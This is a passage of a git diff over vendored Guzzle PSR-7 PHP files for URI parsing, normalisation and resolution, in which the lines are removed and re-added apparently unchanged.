URI. - */ - public static function fromParts(array $parts) - { - $uri = new self(); - $uri->applyParts($parts); - $uri->validateState(); - - return $uri; - } - - public function getScheme() - { - return $this->scheme; - } - - public function getAuthority() - { - $authority = $this->host; - if ($this->userInfo !== '') { - $authority = $this->userInfo . '@' . $authority; - } - - if ($this->port !== null) { - $authority .= ':' . $this->port; - } - - return $authority; - } - - public function getUserInfo() - { - return $this->userInfo; - } - - public function getHost() - { - return $this->host; - } - - public function getPort() - { - return $this->port; - } - - public function getPath() - { - return $this->path; - } - - public function getQuery() - { - return $this->query; - } - - public function getFragment() - { - return $this->fragment; - } - - public function withScheme($scheme) - { - $scheme = $this->filterScheme($scheme); - - if ($this->scheme === $scheme) { - return $this; - } - - $new = clone $this; - $new->scheme = $scheme; - $new->removeDefaultPort(); - $new->validateState(); - - return $new; - } - - public function withUserInfo($user, $password = null) - { - $info = $this->filterUserInfoComponent($user); - if ($password !== null) { - $info .= ':' . $this->filterUserInfoComponent($password); - } - - if ($this->userInfo === $info) { - return $this; - } - - $new = clone $this; - $new->userInfo = $info; - $new->validateState(); - - return $new; - } - - public function withHost($host) - { - $host = $this->filterHost($host); - - if ($this->host === $host) { - return $this; - } - - $new = clone $this; - $new->host = $host; - $new->validateState(); - - return $new; - } - - public function withPort($port) - { - $port = $this->filterPort($port); - - if ($this->port === $port) { - return $this; - } - - $new = clone $this; - $new->port = $port; - $new->removeDefaultPort(); - $new->validateState(); - - return $new; - } - - public function withPath($path) - { - $path = $this->filterPath($path); - - if ($this->path === $path) { - return $this; - } - - $new = clone $this; - $new->path = $path; - $new->validateState(); - - return $new; - } - - public function withQuery($query) - { - $query = $this->filterQueryAndFragment($query); - - if ($this->query === $query) { - return $this; - } - - $new = clone $this; - $new->query = $query; - - return $new; - } - - public function withFragment($fragment) - { - $fragment = $this->filterQueryAndFragment($fragment); - - if ($this->fragment === $fragment) { - return $this; - } - - $new = clone $this; - $new->fragment = $fragment; - - return $new; - } - - /** - * Apply parse_url parts to a URI. - * - * @param array $parts Array of parse_url parts to apply. - */ - private function applyParts(array $parts) - { - $this->scheme = isset($parts['scheme']) - ? $this->filterScheme($parts['scheme']) - : ''; - $this->userInfo = isset($parts['user']) - ? $this->filterUserInfoComponent($parts['user']) - : ''; - $this->host = isset($parts['host']) - ? $this->filterHost($parts['host']) - : ''; - $this->port = isset($parts['port']) - ? $this->filterPort($parts['port']) - : null; - $this->path = isset($parts['path']) - ? $this->filterPath($parts['path']) - : ''; - $this->query = isset($parts['query']) - ? $this->filterQueryAndFragment($parts['query']) - : ''; - $this->fragment = isset($parts['fragment']) - ? $this->filterQueryAndFragment($parts['fragment']) - : ''; - if (isset($parts['pass'])) { - $this->userInfo .= ':' . $this->filterUserInfoComponent($parts['pass']); - } - - $this->removeDefaultPort(); - } - - /** - * @param string $scheme - * - * @return string - * - * @throws \InvalidArgumentException If the scheme is invalid. - */ - private function filterScheme($scheme) - { - if (!is_string($scheme)) { - throw new \InvalidArgumentException('Scheme must be a string'); - } - - return \strtr($scheme, 'ABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyz'); - } - - /** - * @param string $component - * - * @return string - * - * @throws \InvalidArgumentException If the user info is invalid. - */ - private function filterUserInfoComponent($component) - { - if (!is_string($component)) { - throw new \InvalidArgumentException('User info must be a string'); - } - - return preg_replace_callback( - '/(?:[^%' . self::$charUnreserved . self::$charSubDelims . ']+|%(?![A-Fa-f0-9]{2}))/', - [$this, 'rawurlencodeMatchZero'], - $component - ); - } - - /** - * @param string $host - * - * @return string - * - * @throws \InvalidArgumentException If the host is invalid. - */ - private function filterHost($host) - { - if (!is_string($host)) { - throw new \InvalidArgumentException('Host must be a string'); - } - - return \strtr($host, 'ABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyz'); - } - - /** - * @param int|null $port - * - * @return int|null - * - * @throws \InvalidArgumentException If the port is invalid. - */ - private function filterPort($port) - { - if ($port === null) { - return null; - } - - $port = (int) $port; - if (0 > $port || 0xffff < $port) { - throw new \InvalidArgumentException( - sprintf('Invalid port: %d. Must be between 0 and 65535', $port) - ); - } - - return $port; - } - - /** - * @param UriInterface $uri - * @param array $keys - * - * @return array - */ - private static function getFilteredQueryString(UriInterface $uri, array $keys) - { - $current = $uri->getQuery(); - - if ($current === '') { - return []; - } - - $decodedKeys = array_map('rawurldecode', $keys); - - return array_filter(explode('&', $current), function ($part) use ($decodedKeys) { - return !in_array(rawurldecode(explode('=', $part)[0]), $decodedKeys, true); - }); - } - - /** - * @param string $key - * @param string|null $value - * - * @return string - */ - private static function generateQueryString($key, $value) - { - // Query string separators ("=", "&") within the key or value need to be encoded - // (while preventing double-encoding) before setting the query string. All other - // chars that need percent-encoding will be encoded by withQuery(). - $queryString = strtr($key, self::$replaceQuery); - - if ($value !== null) { - $queryString .= '=' . strtr($value, self::$replaceQuery); - } - - return $queryString; - } - - private function removeDefaultPort() - { - if ($this->port !== null && self::isDefaultPort($this)) { - $this->port = null; - } - } - - /** - * Filters the path of a URI - * - * @param string $path - * - * @return string - * - * @throws \InvalidArgumentException If the path is invalid. - */ - private function filterPath($path) - { - if (!is_string($path)) { - throw new \InvalidArgumentException('Path must be a string'); - } - - return preg_replace_callback( - '/(?:[^' . self::$charUnreserved . self::$charSubDelims . '%:@\/]++|%(?![A-Fa-f0-9]{2}))/', - [$this, 'rawurlencodeMatchZero'], - $path - ); - } - - /** - * Filters the query string or fragment of a URI. - * - * @param string $str - * - * @return string - * - * @throws \InvalidArgumentException If the query or fragment is invalid. - */ - private function filterQueryAndFragment($str) - { - if (!is_string($str)) { - throw new \InvalidArgumentException('Query and fragment must be a string'); - } - - return preg_replace_callback( - '/(?:[^' . self::$charUnreserved . self::$charSubDelims . '%:@\/\?]++|%(?![A-Fa-f0-9]{2}))/', - [$this, 'rawurlencodeMatchZero'], - $str - ); - } - - private function rawurlencodeMatchZero(array $match) - { - return rawurlencode($match[0]); - } - - private function validateState() - { - if ($this->host === '' && ($this->scheme === 'http' || $this->scheme === 'https')) { - $this->host = self::HTTP_DEFAULT_HOST; - } - - if ($this->getAuthority() === '') { - if (0 === strpos($this->path, '//')) { - throw new \InvalidArgumentException('The path of a URI without an authority must not start with two slashes "//"'); - } - if ($this->scheme === '' && false !== strpos(explode('/', $this->path, 2)[0], ':')) { - throw new \InvalidArgumentException('A relative URI must not have a path beginning with a segment containing a colon'); - } - } elseif (isset($this->path[0]) && $this->path[0] !== '/') { - @trigger_error( - 'The path of a URI with an authority must start with a slash "/" or be empty. Automagically fixing the URI ' . - 'by adding a leading slash to the path is deprecated since version 1.4 and will throw an exception instead.', - E_USER_DEPRECATED - ); - $this->path = '/' . $this->path; - //throw new \InvalidArgumentException('The path of a URI with an authority must start with a slash "/" or be empty'); - } - } -} + 80, + 'https' => 443, + 'ftp' => 21, + 'gopher' => 70, + 'nntp' => 119, + 'news' => 119, + 'telnet' => 23, + 'tn3270' => 23, + 'imap' => 143, + 'pop' => 110, + 'ldap' => 389, + ]; + + private static $charUnreserved = 'a-zA-Z0-9_\-\.~'; + private static $charSubDelims = '!\$&\'\(\)\*\+,;='; + private static $replaceQuery = ['=' => '%3D', '&' => '%26']; + + /** @var string Uri scheme. */ + private $scheme = ''; + + /** @var string Uri user info. */ + private $userInfo = ''; + + /** @var string Uri host. */ + private $host = ''; + + /** @var int|null Uri port. */ + private $port; + + /** @var string Uri path. */ + private $path = ''; + + /** @var string Uri query string. */ + private $query = ''; + + /** @var string Uri fragment. */ + private $fragment = ''; + + /** + * @param string $uri URI to parse + */ + public function __construct($uri = '') + { + // weak type check to also accept null until we can add scalar type hints + if ($uri != '') { + $parts = self::parse($uri); + if ($parts === false) { + throw new \InvalidArgumentException("Unable to parse URI: $uri"); + } + $this->applyParts($parts); + } + } + + /** + * UTF-8 aware \parse_url() replacement. + * + * The internal function produces broken output for non ASCII domain names + * (IDN) when used with locales other than "C". + * + * On the other hand, cURL understands IDN correctly only when UTF-8 locale + * is configured ("C.UTF-8", "en_US.UTF-8", etc.). + * + * @see https://bugs.php.net/bug.php?id=52923 + * @see https://www.php.net/manual/en/function.parse-url.php#114817 + * @see https://curl.haxx.se/libcurl/c/CURLOPT_URL.html#ENCODING + * + * @param string $url + * + * @return array|false + */ + private static function parse($url) + { + // If IPv6 + $prefix = ''; + if (preg_match('%^(.*://\[[0-9:a-f]+\])(.*?)$%', $url, $matches)) { + $prefix = $matches[1]; + $url = $matches[2]; + } + + $encodedUrl = preg_replace_callback( + '%[^:/@?&=#]+%usD', + static function ($matches) { + return urlencode($matches[0]); + }, + $url + ); + + $result = parse_url($prefix . $encodedUrl); + + if ($result === false) { + return false; + } + + return array_map('urldecode', $result); + } + + public function __toString() + { + return self::composeComponents( + $this->scheme, + $this->getAuthority(), + $this->path, + $this->query, + $this->fragment + ); + } + + /** + * Composes a URI reference string from its various components. + * + * Usually this method does not need to be called manually but instead is used indirectly via + * `Psr\Http\Message\UriInterface::__toString`. + * + * PSR-7 UriInterface treats an empty component the same as a missing component as + * getQuery(), getFragment() etc. always return a string. This explains the slight + * difference to RFC 3986 Section 5.3. + * + * Another adjustment is that the authority separator is added even when the authority is missing/empty + * for the "file" scheme. This is because PHP stream functions like `file_get_contents` only work with + * `file:///myfile` but not with `file:/myfile` although they are equivalent according to RFC 3986. But + * `file:///` is the more common syntax for the file scheme anyway (Chrome for example redirects to + * that format). + * + * @param string $scheme + * @param string $authority + * @param string $path + * @param string $query + * @param string $fragment + * + * @return string + * + * @link https://tools.ietf.org/html/rfc3986#section-5.3 + */ + public static function composeComponents($scheme, $authority, $path, $query, $fragment) + { + $uri = ''; + + // weak type checks to also accept null until we can add scalar type hints + if ($scheme != '') { + $uri .= $scheme . ':'; + } + + if ($authority != ''|| $scheme === 'file') { + $uri .= '//' . $authority; + } + + $uri .= $path; + + if ($query != '') { + $uri .= '?' . $query; + } + + if ($fragment != '') { + $uri .= '#' . $fragment; + } + + return $uri; + } + + /** + * Whether the URI has the default port of the current scheme. + * + * `Psr\Http\Message\UriInterface::getPort` may return null or the standard port. This method can be used + * independently of the implementation. + * + * @param UriInterface $uri + * + * @return bool + */ + public static function isDefaultPort(UriInterface $uri) + { + return $uri->getPort() === null + || (isset(self::$defaultPorts[$uri->getScheme()]) && $uri->getPort() === self::$defaultPorts[$uri->getScheme()]); + } + + /** + * Whether the URI is absolute, i.e. it has a scheme. + * + * An instance of UriInterface can either be an absolute URI or a relative reference. This method returns true + * if it is the former. An absolute URI has a scheme. A relative reference is used to express a URI relative + * to another URI, the base URI. Relative references can be divided into several forms: + * - network-path references, e.g. '//example.com/path' + * - absolute-path references, e.g. '/path' + * - relative-path references, e.g. 'subpath' + * + * @param UriInterface $uri + * + * @return bool + * + * @see Uri::isNetworkPathReference + * @see Uri::isAbsolutePathReference + * @see Uri::isRelativePathReference + * @link https://tools.ietf.org/html/rfc3986#section-4 + */ + public static function isAbsolute(UriInterface $uri) + { + return $uri->getScheme() !== ''; + } + + /** + * Whether the URI is a network-path reference. + * + * A relative reference that begins with two slash characters is termed an network-path reference. + * + * @param UriInterface $uri + * + * @return bool + * + * @link https://tools.ietf.org/html/rfc3986#section-4.2 + */ + public static function isNetworkPathReference(UriInterface $uri) + { + return $uri->getScheme() === '' && $uri->getAuthority() !== ''; + } + + /** + * Whether the URI is a absolute-path reference. + * + * A relative reference that begins with a single slash character is termed an absolute-path reference. + * + * @param UriInterface $uri + * + * @return bool + * + * @link https://tools.ietf.org/html/rfc3986#section-4.2 + */ + public static function isAbsolutePathReference(UriInterface $uri) + { + return $uri->getScheme() === '' + && $uri->getAuthority() === '' + && isset($uri->getPath()[0]) + && $uri->getPath()[0] === '/'; + } + + /** + * Whether the URI is a relative-path reference. + * + * A relative reference that does not begin with a slash character is termed a relative-path reference. + * + * @param UriInterface $uri + * + * @return bool + * + * @link https://tools.ietf.org/html/rfc3986#section-4.2 + */ + public static function isRelativePathReference(UriInterface $uri) + { + return $uri->getScheme() === '' + && $uri->getAuthority() === '' + && (!isset($uri->getPath()[0]) || $uri->getPath()[0] !== '/'); + } + + /** + * Whether the URI is a same-document reference. + * + * A same-document reference refers to a URI that is, aside from its fragment + * component, identical to the base URI. When no base URI is given, only an empty + * URI reference (apart from its fragment) is considered a same-document reference. + * + * @param UriInterface $uri The URI to check + * @param UriInterface|null $base An optional base URI to compare against + * + * @return bool + * + * @link https://tools.ietf.org/html/rfc3986#section-4.4 + */ + public static function isSameDocumentReference(UriInterface $uri, UriInterface $base = null) + { + if ($base !== null) { + $uri = UriResolver::resolve($base, $uri); + + return ($uri->getScheme() === $base->getScheme()) + && ($uri->getAuthority() === $base->getAuthority()) + && ($uri->getPath() === $base->getPath()) + && ($uri->getQuery() === $base->getQuery()); + } + + return $uri->getScheme() === '' && $uri->getAuthority() === '' && $uri->getPath() === '' && $uri->getQuery() === ''; + } + + /** + * Removes dot segments from a path and returns the new path. + * + * @param string $path + * + * @return string + * + * @deprecated since version 1.4. Use UriResolver::removeDotSegments instead. + * @see UriResolver::removeDotSegments + */ + public static function removeDotSegments($path) + { + return UriResolver::removeDotSegments($path); + } + + /** + * Converts the relative URI into a new URI that is resolved against the base URI. + * + * @param UriInterface $base Base URI + * @param string|UriInterface $rel Relative URI + * + * @return UriInterface + * + * @deprecated since version 1.4. Use UriResolver::resolve instead. + * @see UriResolver::resolve + */ + public static function resolve(UriInterface $base, $rel) + { + if (!($rel instanceof UriInterface)) { + $rel = new self($rel); + } + + return UriResolver::resolve($base, $rel); + } + + /** + * Creates a new URI with a specific query string value removed. + * + * Any existing query string values that exactly match the provided key are + * removed. + * + * @param UriInterface $uri URI to use as a base. + * @param string $key Query string key to remove. + * + * @return UriInterface + */ + public static function withoutQueryValue(UriInterface $uri, $key) + { + $result = self::getFilteredQueryString($uri, [$key]); + + return $uri->withQuery(implode('&', $result)); + } + + /** + * Creates a new URI with a specific query string value. + * + * Any existing query string values that exactly match the provided key are + * removed and replaced with the given key value pair. + * + * A value of null will set the query string key without a value, e.g. "key" + * instead of "key=value". + * + * @param UriInterface $uri URI to use as a base. + * @param string $key Key to set. + * @param string|null $value Value to set + * + * @return UriInterface + */ + public static function withQueryValue(UriInterface $uri, $key, $value) + { + $result = self::getFilteredQueryString($uri, [$key]); + + $result[] = self::generateQueryString($key, $value); + + return $uri->withQuery(implode('&', $result)); + } + + /** + * Creates a new URI with multiple specific query string values. + * + * It has the same behavior as withQueryValue() but for an associative array of key => value. + * + * @param UriInterface $uri URI to use as a base. + * @param array $keyValueArray Associative array of key and values + * + * @return UriInterface + */ + public static function withQueryValues(UriInterface $uri, array $keyValueArray) + { + $result = self::getFilteredQueryString($uri, array_keys($keyValueArray)); + + foreach ($keyValueArray as $key => $value) { + $result[] = self::generateQueryString($key, $value); + } + + return $uri->withQuery(implode('&', $result)); + } + + /** + * Creates a URI from a hash of `parse_url` components. + * + * @param array $parts + * + * @return UriInterface + * + * @link http://php.net/manual/en/function.parse-url.php + * + * @throws \InvalidArgumentException If the components do not form a valid URI. + */ + public static function fromParts(array $parts) + { + $uri = new self(); + $uri->applyParts($parts); + $uri->validateState(); + + return $uri; + } + + public function getScheme() + { + return $this->scheme; + } + + public function getAuthority() + { + $authority = $this->host; + if ($this->userInfo !== '') { + $authority = $this->userInfo . '@' . $authority; + } + + if ($this->port !== null) { + $authority .= ':' . $this->port; + } + + return $authority; + } + + public function getUserInfo() + { + return $this->userInfo; + } + + public function getHost() + { + return $this->host; + } + + public function getPort() + { + return $this->port; + } + + public function getPath() + { + return $this->path; + } + + public function getQuery() + { + return $this->query; + } + + public function getFragment() + { + return $this->fragment; + } + + public function withScheme($scheme) + { + $scheme = $this->filterScheme($scheme); + + if ($this->scheme === $scheme) { + return $this; + } + + $new = clone $this; + $new->scheme = $scheme; + $new->removeDefaultPort(); + $new->validateState(); + + return $new; + } + + public function withUserInfo($user, $password = null) + { + $info = $this->filterUserInfoComponent($user); + if ($password !== null) { + $info .= ':' . $this->filterUserInfoComponent($password); + } + + if ($this->userInfo === $info) { + return $this; + } + + $new = clone $this; + $new->userInfo = $info; + $new->validateState(); + + return $new; + } + + public function withHost($host) + { + $host = $this->filterHost($host); + + if ($this->host === $host) { + return $this; + } + + $new = clone $this; + $new->host = $host; + $new->validateState(); + + return $new; + } + + public function withPort($port) + { + $port = $this->filterPort($port); + + if ($this->port === $port) { + return $this; + } + + $new = clone $this; + $new->port = $port; + $new->removeDefaultPort(); + $new->validateState(); + + return $new; + } + + public function withPath($path) + { + $path = $this->filterPath($path); + + if ($this->path === $path) { + return $this; + } + + $new = clone $this; + $new->path = $path; + $new->validateState(); + + return $new; + } + + public function withQuery($query) + { + $query = $this->filterQueryAndFragment($query); + + if ($this->query === $query) { + return $this; + } + + $new = clone $this; + $new->query = $query; + + return $new; + } + + public function withFragment($fragment) + { + $fragment = $this->filterQueryAndFragment($fragment); + + if ($this->fragment === $fragment) { + return $this; + } + + $new = clone $this; + $new->fragment = $fragment; + + return $new; + } + + /** + * Apply parse_url parts to a URI. + * + * @param array $parts Array of parse_url parts to apply. + */ + private function applyParts(array $parts) + { + $this->scheme = isset($parts['scheme']) + ? $this->filterScheme($parts['scheme']) + : ''; + $this->userInfo = isset($parts['user']) + ? $this->filterUserInfoComponent($parts['user']) + : ''; + $this->host = isset($parts['host']) + ? $this->filterHost($parts['host']) + : ''; + $this->port = isset($parts['port']) + ? $this->filterPort($parts['port']) + : null; + $this->path = isset($parts['path']) + ? $this->filterPath($parts['path']) + : ''; + $this->query = isset($parts['query']) + ? $this->filterQueryAndFragment($parts['query']) + : ''; + $this->fragment = isset($parts['fragment']) + ? $this->filterQueryAndFragment($parts['fragment']) + : ''; + if (isset($parts['pass'])) { + $this->userInfo .= ':' . $this->filterUserInfoComponent($parts['pass']); + } + + $this->removeDefaultPort(); + } + + /** + * @param string $scheme + * + * @return string + * + * @throws \InvalidArgumentException If the scheme is invalid. + */ + private function filterScheme($scheme) + { + if (!is_string($scheme)) { + throw new \InvalidArgumentException('Scheme must be a string'); + } + + return \strtr($scheme, 'ABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyz'); + } + + /** + * @param string $component + * + * @return string + * + * @throws \InvalidArgumentException If the user info is invalid. + */ + private function filterUserInfoComponent($component) + { + if (!is_string($component)) { + throw new \InvalidArgumentException('User info must be a string'); + } + + return preg_replace_callback( + '/(?:[^%' . self::$charUnreserved . self::$charSubDelims . ']+|%(?![A-Fa-f0-9]{2}))/', + [$this, 'rawurlencodeMatchZero'], + $component + ); + } + + /** + * @param string $host + * + * @return string + * + * @throws \InvalidArgumentException If the host is invalid. + */ + private function filterHost($host) + { + if (!is_string($host)) { + throw new \InvalidArgumentException('Host must be a string'); + } + + return \strtr($host, 'ABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyz'); + } + + /** + * @param int|null $port + * + * @return int|null + * + * @throws \InvalidArgumentException If the port is invalid. + */ + private function filterPort($port) + { + if ($port === null) { + return null; + } + + $port = (int) $port; + if (0 > $port || 0xffff < $port) { + throw new \InvalidArgumentException( + sprintf('Invalid port: %d. Must be between 0 and 65535', $port) + ); + } + + return $port; + } + + /** + * @param UriInterface $uri + * @param array $keys + * + * @return array + */ + private static function getFilteredQueryString(UriInterface $uri, array $keys) + { + $current = $uri->getQuery(); + + if ($current === '') { + return []; + } + + $decodedKeys = array_map('rawurldecode', $keys); + + return array_filter(explode('&', $current), function ($part) use ($decodedKeys) { + return !in_array(rawurldecode(explode('=', $part)[0]), $decodedKeys, true); + }); + } + + /** + * @param string $key + * @param string|null $value + * + * @return string + */ + private static function generateQueryString($key, $value) + { + // Query string separators ("=", "&") within the key or value need to be encoded + // (while preventing double-encoding) before setting the query string. All other + // chars that need percent-encoding will be encoded by withQuery(). + $queryString = strtr($key, self::$replaceQuery); + + if ($value !== null) { + $queryString .= '=' . strtr($value, self::$replaceQuery); + } + + return $queryString; + } + + private function removeDefaultPort() + { + if ($this->port !== null && self::isDefaultPort($this)) { + $this->port = null; + } + } + + /** + * Filters the path of a URI + * + * @param string $path + * + * @return string + * + * @throws \InvalidArgumentException If the path is invalid. + */ + private function filterPath($path) + { + if (!is_string($path)) { + throw new \InvalidArgumentException('Path must be a string'); + } + + return preg_replace_callback( + '/(?:[^' . self::$charUnreserved . self::$charSubDelims . '%:@\/]++|%(?![A-Fa-f0-9]{2}))/', + [$this, 'rawurlencodeMatchZero'], + $path + ); + } + + /** + * Filters the query string or fragment of a URI. + * + * @param string $str + * + * @return string + * + * @throws \InvalidArgumentException If the query or fragment is invalid. + */ + private function filterQueryAndFragment($str) + { + if (!is_string($str)) { + throw new \InvalidArgumentException('Query and fragment must be a string'); + } + + return preg_replace_callback( + '/(?:[^' . self::$charUnreserved . self::$charSubDelims . '%:@\/\?]++|%(?![A-Fa-f0-9]{2}))/', + [$this, 'rawurlencodeMatchZero'], + $str + ); + } + + private function rawurlencodeMatchZero(array $match) + { + return rawurlencode($match[0]); + } + + private function validateState() + { + if ($this->host === '' && ($this->scheme === 'http' || $this->scheme === 'https')) { + $this->host = self::HTTP_DEFAULT_HOST; + } + + if ($this->getAuthority() === '') { + if (0 === strpos($this->path, '//')) { + throw new \InvalidArgumentException('The path of a URI without an authority must not start with two slashes "//"'); + } + if ($this->scheme === '' && false !== strpos(explode('/', $this->path, 2)[0], ':')) { + throw new \InvalidArgumentException('A relative URI must not have a path beginning with a segment containing a colon'); + } + } elseif (isset($this->path[0]) && $this->path[0] !== '/') { + @trigger_error( + 'The path of a URI with an authority must start with a slash "/" or be empty. Automagically fixing the URI ' . + 'by adding a leading slash to the path is deprecated since version 1.4 and will throw an exception instead.', + E_USER_DEPRECATED + ); + $this->path = '/' . $this->path; + //throw new \InvalidArgumentException('The path of a URI with an authority must start with a slash "/" or be empty'); + } + } +} diff --git a/vendor/guzzlehttp/psr7/src/UriNormalizer.php b/vendor/guzzlehttp/psr7/src/UriNormalizer.php index f5c093c20a..81419ead42 100644 --- a/vendor/guzzlehttp/psr7/src/UriNormalizer.php +++ b/vendor/guzzlehttp/psr7/src/UriNormalizer.php @@ -1,219 +1,219 @@ -getPath() === '' && - ($uri->getScheme() === 'http' || $uri->getScheme() === 'https') - ) { - $uri = $uri->withPath('/'); - } - - if ($flags & self::REMOVE_DEFAULT_HOST && $uri->getScheme() === 'file' && $uri->getHost() === 'localhost') { - $uri = $uri->withHost(''); - } - - if ($flags & self::REMOVE_DEFAULT_PORT && $uri->getPort() !== null && Uri::isDefaultPort($uri)) { - $uri = $uri->withPort(null); - } - - if ($flags & self::REMOVE_DOT_SEGMENTS && !Uri::isRelativePathReference($uri)) { - $uri = $uri->withPath(UriResolver::removeDotSegments($uri->getPath())); - } - - if ($flags & self::REMOVE_DUPLICATE_SLASHES) { - $uri = $uri->withPath(preg_replace('#//++#', '/', $uri->getPath())); - } - - if ($flags & self::SORT_QUERY_PARAMETERS && $uri->getQuery() !== '') { - $queryKeyValues = explode('&', $uri->getQuery()); - sort($queryKeyValues); - $uri = $uri->withQuery(implode('&', $queryKeyValues)); - } - - return $uri; - } - - /** - * Whether two URIs can be considered equivalent. - * - * Both URIs are normalized automatically before comparison with the given $normalizations bitmask. The method also - * accepts relative URI references and returns true when they are equivalent. This of course assumes they will be - * resolved against the same base URI. If this is not the case, determination of equivalence or difference of - * relative references does not mean anything. - * - * @param UriInterface $uri1 An URI to compare - * @param UriInterface $uri2 An URI to compare - * @param int $normalizations A bitmask of normalizations to apply, see constants - * - * @return bool - * - * @link https://tools.ietf.org/html/rfc3986#section-6.1 - */ - public static function isEquivalent(UriInterface $uri1, UriInterface $uri2, $normalizations = self::PRESERVING_NORMALIZATIONS) - { - return (string) self::normalize($uri1, $normalizations) === (string) self::normalize($uri2, $normalizations); - } - - private static function capitalizePercentEncoding(UriInterface $uri) - { - $regex = '/(?:%[A-Fa-f0-9]{2})++/'; - - $callback = function (array $match) { - return strtoupper($match[0]); - }; - - return - $uri->withPath( - preg_replace_callback($regex, $callback, $uri->getPath()) - )->withQuery( - preg_replace_callback($regex, $callback, $uri->getQuery()) - ); - } - - private static function decodeUnreservedCharacters(UriInterface $uri) - { - $regex = '/%(?:2D|2E|5F|7E|3[0-9]|[46][1-9A-F]|[57][0-9A])/i'; - - $callback = function (array $match) { - return rawurldecode($match[0]); - }; - - return - $uri->withPath( - preg_replace_callback($regex, $callback, $uri->getPath()) - )->withQuery( - preg_replace_callback($regex, $callback, $uri->getQuery()) - ); - } - - private function __construct() - { - // cannot be instantiated - } -} +getPath() === '' && + ($uri->getScheme() === 'http' || $uri->getScheme() === 'https') + ) { + $uri = $uri->withPath('/'); + } + + if ($flags & self::REMOVE_DEFAULT_HOST && $uri->getScheme() === 'file' && $uri->getHost() === 'localhost') { + $uri = $uri->withHost(''); + } + + if ($flags & self::REMOVE_DEFAULT_PORT && $uri->getPort() !== null && Uri::isDefaultPort($uri)) { + $uri = $uri->withPort(null); + } + + if ($flags & self::REMOVE_DOT_SEGMENTS && !Uri::isRelativePathReference($uri)) { + $uri = $uri->withPath(UriResolver::removeDotSegments($uri->getPath())); + } + + if ($flags & self::REMOVE_DUPLICATE_SLASHES) { + $uri = $uri->withPath(preg_replace('#//++#', '/', $uri->getPath())); + } + + if ($flags & self::SORT_QUERY_PARAMETERS && $uri->getQuery() !== '') { + $queryKeyValues = explode('&', $uri->getQuery()); + sort($queryKeyValues); + $uri = $uri->withQuery(implode('&', $queryKeyValues)); + } + + return $uri; + } + + /** + * Whether two URIs can be considered equivalent. + * + * Both URIs are normalized automatically before comparison with the given $normalizations bitmask. The method also + * accepts relative URI references and returns true when they are equivalent. This of course assumes they will be + * resolved against the same base URI. If this is not the case, determination of equivalence or difference of + * relative references does not mean anything. + * + * @param UriInterface $uri1 An URI to compare + * @param UriInterface $uri2 An URI to compare + * @param int $normalizations A bitmask of normalizations to apply, see constants + * + * @return bool + * + * @link https://tools.ietf.org/html/rfc3986#section-6.1 + */ + public static function isEquivalent(UriInterface $uri1, UriInterface $uri2, $normalizations = self::PRESERVING_NORMALIZATIONS) + { + return (string) self::normalize($uri1, $normalizations) === (string) self::normalize($uri2, $normalizations); + } + + private static function capitalizePercentEncoding(UriInterface $uri) + { + $regex = '/(?:%[A-Fa-f0-9]{2})++/'; + + $callback = function (array $match) { + return strtoupper($match[0]); + }; + + return + $uri->withPath( + preg_replace_callback($regex, $callback, $uri->getPath()) + )->withQuery( + preg_replace_callback($regex, $callback, $uri->getQuery()) + ); + } + + private static function decodeUnreservedCharacters(UriInterface $uri) + { + $regex = '/%(?:2D|2E|5F|7E|3[0-9]|[46][1-9A-F]|[57][0-9A])/i'; + + $callback = function (array $match) { + return rawurldecode($match[0]); + }; + + return + $uri->withPath( + preg_replace_callback($regex, $callback, $uri->getPath()) + )->withQuery( + preg_replace_callback($regex, $callback, $uri->getQuery()) + ); + } + + private function __construct() + { + // cannot be instantiated + } +} diff --git a/vendor/guzzlehttp/psr7/src/UriResolver.php b/vendor/guzzlehttp/psr7/src/UriResolver.php index 540db5290a..a3cb15d570 100644 --- a/vendor/guzzlehttp/psr7/src/UriResolver.php +++ b/vendor/guzzlehttp/psr7/src/UriResolver.php @@ -1,222 +1,222 @@ -getScheme() != '') { - return $rel->withPath(self::removeDotSegments($rel->getPath())); - } - - if ($rel->getAuthority() != '') { - $targetAuthority = $rel->getAuthority(); - $targetPath = self::removeDotSegments($rel->getPath()); - $targetQuery = $rel->getQuery(); - } else { - $targetAuthority = $base->getAuthority(); - if ($rel->getPath() === '') { - $targetPath = $base->getPath(); - $targetQuery = $rel->getQuery() != '' ? $rel->getQuery() : $base->getQuery(); - } else { - if ($rel->getPath()[0] === '/') { - $targetPath = $rel->getPath(); - } else { - if ($targetAuthority != '' && $base->getPath() === '') { - $targetPath = '/' . $rel->getPath(); - } else { - $lastSlashPos = strrpos($base->getPath(), '/'); - if ($lastSlashPos === false) { - $targetPath = $rel->getPath(); - } else { - $targetPath = substr($base->getPath(), 0, $lastSlashPos + 1) . $rel->getPath(); - } - } - } - $targetPath = self::removeDotSegments($targetPath); - $targetQuery = $rel->getQuery(); - } - } - - return new Uri(Uri::composeComponents( - $base->getScheme(), - $targetAuthority, - $targetPath, - $targetQuery, - $rel->getFragment() - )); - } - - /** - * Returns the target URI as a relative reference from the base URI. - * - * This method is the counterpart to resolve(): - * - * (string) $target === (string) UriResolver::resolve($base, UriResolver::relativize($base, $target)) - * - * One use-case is to use the current request URI as base URI and then generate relative links in your documents - * to reduce the document size or offer self-contained downloadable document archives. - * - * $base = new Uri('http://example.com/a/b/'); - * echo UriResolver::relativize($base, new Uri('http://example.com/a/b/c')); // prints 'c'. - * echo UriResolver::relativize($base, new Uri('http://example.com/a/x/y')); // prints '../x/y'. - * echo UriResolver::relativize($base, new Uri('http://example.com/a/b/?q')); // prints '?q'. - * echo UriResolver::relativize($base, new Uri('http://example.org/a/b/')); // prints '//example.org/a/b/'. - * - * This method also accepts a target that is already relative and will try to relativize it further. Only a - * relative-path reference will be returned as-is. - * - * echo UriResolver::relativize($base, new Uri('/a/b/c')); // prints 'c' as well - * - * @param UriInterface $base Base URI - * @param UriInterface $target Target URI - * - * @return UriInterface The relative URI reference - */ - public static function relativize(UriInterface $base, UriInterface $target) - { - if ($target->getScheme() !== '' && - ($base->getScheme() !== $target->getScheme() || $target->getAuthority() === '' && $base->getAuthority() !== '') - ) { - return $target; - } - - if (Uri::isRelativePathReference($target)) { - // As the target is already highly relative we return it as-is. It would be possible to resolve - // the target with `$target = self::resolve($base, $target);` and then try make it more relative - // by removing a duplicate query. But let's not do that automatically. - return $target; - } - - if ($target->getAuthority() !== 